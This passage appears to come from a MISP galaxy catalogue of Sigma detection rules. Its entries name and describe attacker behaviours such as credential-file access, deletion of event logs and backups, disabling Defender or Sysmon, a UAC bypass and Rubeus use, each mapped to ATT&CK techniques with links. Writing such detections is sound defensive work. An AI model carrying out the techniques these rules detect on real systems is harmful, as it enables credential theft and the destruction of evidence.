- related-to: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

Table 14852. Table References

Links
https://github.com/splunk/security_content/blob/7283ba3723551f46b69dfeb23a63b358afb2cb0e/lookups/browser_app_list.csv?plain=1
https://fourcore.io/blogs/threat-hunting-browser-credential-stealing
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_process_access_browser_cred_files.yml

Access To Windows Credential History File By Uncommon Applications

Detects file access requests to the Windows Credential History File by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::credhist" function

The tag is: *misp-galaxy:sigma-rules="Access To Windows Credential History File By Uncommon Applications"*

View relationships graph

Access To Windows Credential History File By Uncommon Applications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

Table 14853. Table References

Links
https://www.passcape.com/windows_password_recovery_dpapi_credhist

https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_credhist.yml

Unusual File Modification by dns.exe

Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)

The tag is: *misp-galaxy:sigma-rules="Unusual File Modification by dns.exe"*

View relationships graph

Unusual File Modification by dns.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 14854. Table References

Links
https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns-exe.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_unusual_modification_by_dns_exe.yml

Prefetch File Deleted

Detects the deletion of a prefetch file which may indicate an attempt to destroy forensic evidence

The tag is: *misp-galaxy:sigma-rules="Prefetch File Deleted"*

View relationships graph

Prefetch File Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 14855. Table References

Links
https://www.group-ib.com/blog/hunting-for-ttps-with-prefetch-files/
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_prefetch.yml

Backup Files Deleted

Detects deletion of files with extensions often used for backup files. Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.

The tag is: *misp-galaxy:sigma-rules="Backup Files Deleted"*

View relationships graph

Backup Files Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 14856. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-6---windows---delete-backup-files
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_backup_file.yml

Unusual File Deletion by Dns.exe

Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)

The tag is: *misp-galaxy:sigma-rules="Unusual File Deletion by Dns.exe"*

View relationships graph

Unusual File Deletion by Dns.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 14857. Table References

Links
https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns-exe.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_unusual_deletion_by_dns_exe.yml

Process Deletion of Its Own Executable

Detects the deletion of a process's executable by itself. This is usually not possible without

workarounds and may be used by malware to hide its traces.

The tag is: *misp-galaxy:sigma-rules="Process Deletion of Its Own Executable"*

Table 14858. Table References

Links
https://github.com/joaoviictorti/RustRedOps/tree/ce04369a246006d399e8c61d9fe0e6b34f988a49/Self_Deletion
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_own_image.yml

IIS WebServer Access Logs Deleted

Detects the deletion of IIS WebServer access logs which may indicate an attempt to destroy forensic evidence

The tag is: *misp-galaxy:sigma-rules="IIS WebServer Access Logs Deleted"*

View relationships graph

IIS WebServer Access Logs Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 14859. Table References

Links
https://www.elastic.co/guide/en/security/current/webserver-access-logs-deleted.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_iis_access_logs.yml

ADS Zone.Identifier Deleted By Uncommon Application

Detects the deletion of the "Zone.Identifier" ADS by an uncommon process. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps.

The tag is: *misp-galaxy:sigma-rules="ADS Zone.Identifier Deleted By Uncommon Application"*

View relationships graph

ADS Zone.Identifier Deleted By Uncommon Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 14860. Table References

Links
https://securityliterate.com/how-malware-abuses-the-zone-identifier-to-circumvent-detection-and-analysis/
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_zone_identifier_ads_uncommon.yml

Exchange PowerShell Cmdlet History Deleted

Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence

The tag is: *misp-galaxy:sigma-rules="Exchange PowerShell Cmdlet History Deleted"*

View relationships graph

Exchange PowerShell Cmdlet History Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 14861. Table References

Links
https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_exchange_powershell_logs.yml

TeamViewer Log File Deleted

Detects the deletion of the TeamViewer log files which may indicate an attempt to destroy forensic evidence

The tag is: *misp-galaxy:sigma-rules="TeamViewer Log File Deleted"*

View relationships graph

TeamViewer Log File Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 14862. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_teamviewer_logs.yml

EventLog EVTX File Deleted

Detects the deletion of the event log files which may indicate an attempt to destroy forensic evidence

The tag is: *misp-galaxy:sigma-rules="EventLog EVTX File Deleted"*

View relationships graph

EventLog EVTX File Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 14863. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_event_log_files.yml

Tomcat WebServer Logs Deleted

Detects the deletion of tomcat WebServer logs which may indicate an attempt to destroy forensic evidence

The tag is: *misp-galaxy:sigma-rules="Tomcat WebServer Logs Deleted"*

View relationships graph

Tomcat WebServer Logs Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 14864. Table References

Links
https://linuxhint.com/view-tomcat-logs-windows/
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_tomcat_logs.yml

File Deleted Via Sysinternals SDelete

Detects the deletion of files by the Sysinternals SDelete utility. It looks for the common name pattern used to rename files.

The tag is: *misp-galaxy:sigma-rules="File Deleted Via Sysinternals SDelete"*

View relationships graph

File Deleted Via Sysinternals SDelete has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 14865. Table References

Links
https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/4.B.4_83D62033-105A-4A02-8B75-DAB52D8D51EC.md
https://github.com/OTRF/detection-hackathon-apt29/issues/9
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_sysinternals_sdelete_file_deletion.yml

PowerShell Console History Logs Deleted

Detects the deletion of the PowerShell console History logs which may indicate an attempt to destroy forensic evidence

The tag is: *misp-galaxy:sigma-rules="PowerShell Console History Logs Deleted"*

View relationships graph

PowerShell Console History Logs Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 14866. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_powershell_command_history.yml

Potentially Suspicious Self Extraction Directive File Created

Detects the creation of a binary file with the ".sed" extension. The ".sed" extension stand for Self Extraction Directive files. These files are used by the "iexpress.exe" utility in order to create self extracting packages. Attackers were seen abusing this utility and creating PE files with embedded ".sed" entries. Usually ".sed" files are simple ini files and not PE binaries.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Self Extraction Directive File Created"*

View relationships graph

Potentially Suspicious Self Extraction Directive File Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14867. Table References

Links
https://en.wikipedia.org/wiki/IExpress
https://www.virustotal.com/gui/file/602f4ae507fa8de57ada079adff25a6c2a899bd25cd092d0af7e62cdb619c93c/behavior
https://strontic.github.io/xcyclopedia/library/iexpress.exe-D594B2A33EFAFD0EABF09E3FDC05FCEA.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_executable_detected/file_executable_detected_win_susp_embeded_sed_file.yml

DLL Execution Via Register-cimprovider.exe

Detects using register-cimprovider.exe to execute arbitrary dll file.

The tag is: *misp-galaxy:sigma-rules="DLL Execution Via Register-cimprovider.exe"*

View relationships graph

DLL Execution Via Register-cimprovider.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"

Table 14868. Table References

Links
https://twitter.com/PhilipTsukerman/status/992021361106268161
https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_cimprovider_dll_load.yml

Windows Kernel Debugger Execution

Detects execution of the Windows Kernel Debugger "kd.exe".

The tag is: *misp-galaxy:sigma-rules="Windows Kernel Debugger Execution"*

Table 14869. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_kd_execution.yml

Windows Internet Hosted WebDav Share Mount Via Net.EXE

Detects when an internet hosted webdav share is mounted using the "net.exe" utility

The tag is: *misp-galaxy:sigma-rules="Windows Internet Hosted WebDav Share Mount Via Net.EXE"*

View relationships graph

Windows Internet Hosted WebDav Share Mount Via Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 14870. Table References

Links
https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_mount_internet_share.yml

Uninstall Crowdstrike Falcon Sensor

Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon

The tag is: *misp-galaxy:sigma-rules="Uninstall Crowdstrike Falcon Sensor"*

View relationships graph

Uninstall Crowdstrike Falcon Sensor has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14871. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_crowdstrike_falcon.yml

Powershell Defender Disable Scan Feature

Detects requests to disable Microsoft Defender features using PowerShell commands

The tag is: *misp-galaxy:sigma-rules="Powershell Defender Disable Scan Feature"*

View relationships graph

Powershell Defender Disable Scan Feature has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14872. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps
https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files
https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_disable_feature.yml

UAC Bypass Using ChangePK and SLUI

Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using ChangePK and SLUI"*

View relationships graph

UAC Bypass Using ChangePK and SLUI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14873. Table References

Links
https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b
https://github.com/hfiref0x/UACME
https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml

UtilityFunctions.ps1 Proxy Dll

Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.

The tag is: *misp-galaxy:sigma-rules="UtilityFunctions.ps1 Proxy Dll"*

View relationships graph

UtilityFunctions.ps1 Proxy Dll has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 14874. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/UtilityFunctions/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_utilityfunctions.yml

Process Creation Using Sysnative Folder

Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)

The tag is: *misp-galaxy:sigma-rules="Process Creation Using Sysnative Folder"*

View relationships graph

Process Creation Using Sysnative Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 14875. Table References

Links
https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysnative.yml

New Generic Credentials Added Via Cmdkey.EXE

Detects usage of "cmdkey.exe" to add generic credentials. As an example, this can be used before connecting to an RDP session via command line interface.

The tag is: *misp-galaxy:sigma-rules="New Generic Credentials Added Via Cmdkey.EXE"*

View relationships graph

New Generic Credentials Added Via Cmdkey.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"

Table 14876. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_adding_generic_creds.yml

Sysmon Driver Unloaded Via Fltmc.EXE

Detects possible Sysmon filter driver unloaded via fltmc.exe

The tag is: *misp-galaxy:sigma-rules="Sysmon Driver Unloaded Via Fltmc.EXE"*

View relationships graph

Sysmon Driver Unloaded Via Fltmc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 14877. Table References

Links
https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fltmc_unload_driver_sysmon.yml

Suspicious Greedy Compression Using Rar.EXE

Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes

The tag is: *misp-galaxy:sigma-rules="Suspicious Greedy Compression Using Rar.EXE"*

View relationships graph

Suspicious Greedy Compression Using Rar.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 14878. Table References

Links
https://decoded.avast.io/martinchlumecky/png-steganography
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_susp_greedy_compression.yml

PUA - Wsudo Suspicious Execution

Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permissions (System, Trusted Installer, Administrator...etc)

The tag is: *misp-galaxy:sigma-rules="PUA - Wsudo Suspicious Execution"*

View relationships graph

PUA - Wsudo Suspicious Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 14879. Table References

Links
https://github.com/M2Team/Privexec/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_wsudo_susp_execution.yml

Esentutl Steals Browser Information

One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe

The tag is: *misp-galaxy:sigma-rules="Esentutl Steals Browser Information"*

View relationships graph

Esentutl Steals Browser Information has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 14880. Table References

Links
https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/
https://redcanary.com/threat-detection-report/threats/qbot/
https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml

PUA - AdvancedRun Execution

Detects the execution of AdvancedRun utility

The tag is: *misp-galaxy:sigma-rules="PUA - AdvancedRun Execution"*

View relationships graph

PUA - AdvancedRun Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 14881. Table References

Links
https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3
https://twitter.com/splinter_code/status/1483815103279603714
https://www.elastic.co/security-labs/operation-bleeding-bear
https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advancedrun.yml

Potential DLL Injection Via AccCheckConsole

Detects the execution "AccCheckConsole" a command-line tool for verifying the accessibility implementation of an application's UI. One of the tests that this checker can run are called "verification routine", which tests for things like Consistency, Navigation, etc. The tool allows a user to provide a DLL that can contain a custom "verification routine". An attacker can build such DLLs and pass it via the CLI, which would then be loaded in the context of the "AccCheckConsole" utility.

The tag is: *misp-galaxy:sigma-rules="Potential DLL Injection Via AccCheckConsole"*

Table 14882. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/
https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340
https://twitter.com/bohops/status/1477717351017680899?s=12
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_acccheckconsole_execution.yml

LSASS Process Reconnaissance Via Findstr.EXE

Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID

The tag is: *misp-galaxy:sigma-rules="LSASS Process Reconnaissance Via Findstr.EXE"*

View relationships graph

LSASS Process Reconnaissance Via Findstr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"

Table 14883. Table References

Links
https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lsass.yml

Suspicious Splwow64 Without Params

Detects suspicious Splwow64.exe process without any command line parameters

The tag is: *misp-galaxy:sigma-rules="Suspicious Splwow64 Without Params"*

View relationships graph

Suspicious Splwow64 Without Params has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 14884. Table References

Links
https://twitter.com/sbousseaden/status/1429401053229891590?s=12
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_splwow64_cli_anomaly.yml

Potential Arbitrary Command Execution Using Msdt.EXE

Detects processes leveraging the "ms-msdt" handler or the "msdt.exe" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability

The tag is: *misp-galaxy:sigma-rules="Potential Arbitrary Command Execution Using Msdt.EXE"*

View relationships graph

Potential Arbitrary Command Execution Using Msdt.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 14885. Table References

Links
https://twitter.com/nao_sec/status/1530196847679401984
https://twitter.com/_JohnHammond/status/1531672601067675648
https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_arbitrary_command_execution.yml

Suspicious Key Manager Access

Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)

The tag is: *misp-galaxy:sigma-rules="Suspicious Key Manager Access"*

View relationships graph

Suspicious Key Manager Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

Table 14886. Table References

Links
https://twitter.com/NinjaParanoid/status/1516442028963659777
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_keymgr.yml

Suspicious Velociraptor Child Process

Detects the suspicious use of the Velociraptor DFIR tool to execute other tools or download additional payloads, as seen in a campaign where it was abused for remote access and to stage further attacks.

The tag is: *misp-galaxy:sigma-rules="Suspicious Velociraptor Child Process"*

View relationships graph

Suspicious Velociraptor Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"

Table 14887. Table References

Links
https://news.sophos.com/en-us/2025/08/26/velociraptor-incident-response-tool-abused-for-remote-access/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_velociraptor_child_process.yml

HackTool - Rubeus Execution

Detects the execution of the hacktool Rubeus via PE information of command line parameters

The tag is: *misp-galaxy:sigma-rules="HackTool - Rubeus Execution"*

View relationships graph

HackTool - Rubeus Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

Table 14888. Table References

Links
https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html
https://github.com/GhostPack/Rubeus
https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_rubeus.yml

Uncommon System Information Discovery Via Wmic.EXE

Detects the use of the WMI command-line (WMIC) utility to identify and display various system information, including OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. Some of these commands were used by Aurora Stealer in late 2022/early 2023.

The tag is: *misp-galaxy:sigma-rules="Uncommon System Information Discovery Via Wmic.EXE"*

View relationships graph

Uncommon System Information Discovery Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 14889. Table References

Links
https://app.any.run/tasks/a6aa0057-82ec-451f-8f99-55650ca537da/
https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/
https://github.com/redcanaryco/atomic-red-team/blob/a2ccd19c37d0278b4ffa8583add3cf52060a5418/atomics/T1082/T1082.md#atomic-test-25---system-information-discovery-with-wmic
https://nwgat.ninja/getting-system-information-with-wmic-on-windows/
https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar
https://www.virustotal.com/gui/file/d6f6bc10ae0e634ed4301d584f61418cee18e5d58ad9af72f8aa552dc4aaeca3/behavior
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_system_info_uncommon.yml

Diskshadow Script Mode - Uncommon Script Extension Execution

Detects execution of "Diskshadow.exe" in script mode to execute an script with a potentially

uncommon extension. Initial baselining of the allowed extension list is required.

The tag is: *misp-galaxy:sigma-rules="Diskshadow Script Mode - Uncommon Script Extension Execution"*

View relationships graph

Diskshadow Script Mode - Uncommon Script Extension Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14890. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow
https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/
https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration
https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware
https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4
https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_diskshadow_script_mode_susp_ext.yml

Suspicious RDP Redirect Using TSCON

Detects a suspicious RDP session redirect using tscon.exe

The tag is: *misp-galaxy:sigma-rules="Suspicious RDP Redirect Using TSCON"*

View relationships graph

Suspicious RDP Redirect Using TSCON has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 14891. Table References

Links
https://www.hackingarticles.in/rdp-session-hijacking-with-tscon/

https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tscon_rdp_redirect.yml

Suspicious Redirection to Local Admin Share

Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers

The tag is: *misp-galaxy:sigma-rules="Suspicious Redirection to Local Admin Share"*

View relationships graph

Suspicious Redirection to Local Admin Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"

Table 14892. Table References

Links
http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_redirect_local_admin_share.yml

Rar Usage with Password and Compression Level

Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions.

The tag is: *misp-galaxy:sigma-rules="Rar Usage with Password and Compression Level"*

View relationships graph

Rar Usage with Password and Compression Level has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 14893. Table References

Links
https://ss64.com/bash/rar.html

https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_compression_with_password.yml

Add Windows Capability Via PowerShell Cmdlet

Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.

The tag is: *misp-galaxy:sigma-rules="Add Windows Capability Via PowerShell Cmdlet"*

Table 14894. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=powershell
https://www.virustotal.com/gui/file/af1c82237b6e5a3a7cdbad82cc498d298c67845d92971bada450023d1335e267/content
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_add_windows_capability.yml

Potential SPN Enumeration Via Setspn.EXE

Detects service principal name (SPN) enumeration used for Kerberoasting

